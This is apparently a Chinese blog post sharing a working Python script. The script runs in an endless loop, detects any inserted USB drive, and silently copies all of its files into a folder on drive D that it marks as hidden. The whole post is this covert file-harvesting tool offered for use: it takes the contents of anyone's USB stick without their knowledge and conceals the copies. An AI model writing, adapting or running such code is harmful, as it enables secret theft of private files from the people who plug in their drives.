主要功能:一直循环检测可移动磁盘,如果发现有,立马复制文件。有多个U盘也可以
复制代码功能没有直接用copytree。
费话不多说,直接上代码
import os
import shutil
from psutil import disk_partitions
import win32con
import win32api
def ver_is_file(filepath, target, is_hiddened):
try:
for i in os.listdir(filepath):
if os.path.isdir(filepath + '\\' + i):
if not os.path.exists(target + '\\' + i):
os.makedirs(target + '\\' + i)
if is_hiddened is False:
print('设置目标文件为隐藏')
hidden_file = target.split('\\')[0]+'\\'+target.split('\\')[1]
win32api.SetFileAttributes(hidden_file, win32con.FILE_ATTRIBUTE_HIDDEN)
is_hiddened = True
ver_is_file(filepath + '\\' + i, target + '\\' + i, is_hiddened)
elif not os.path.exists(target + '\\' + i):
print('正在复制文件:', filepath + '\\' + i, end='')
print(' 到->>>>>>: ', target + '\\' + i)
shutil.copy(filepath + '\\' + i, target + '\\' + i)
except Exception as e:
print('出现异常信息:', e)
print('找不到U盘,U盘可能已经被拔出')
def find_disk():
disk_list = []
is_disk = False
for item in disk_partitions():
if 'removable' in item.opts:
driver, opts = item.device, item.opts
print('发现usb驱动盘:', driver)
disk_list.append(driver)
is_disk = True
continue
else:
print('没有找到可移动驱动盘,继续扫描')
continue
return disk_list, is_disk
def start_detecting():
target_file = 'D:\\u盘文件'
is_hiddened = False
while True:
disklist, is_disk = find_disk()
print(disklist)
if disklist is not None and is_disk:
for i in disklist:
ver_is_file(i, target_file + '\\' + '来自'+i[0]+'盘', is_hiddened)
if __name__ == '__main__':
start_detecting()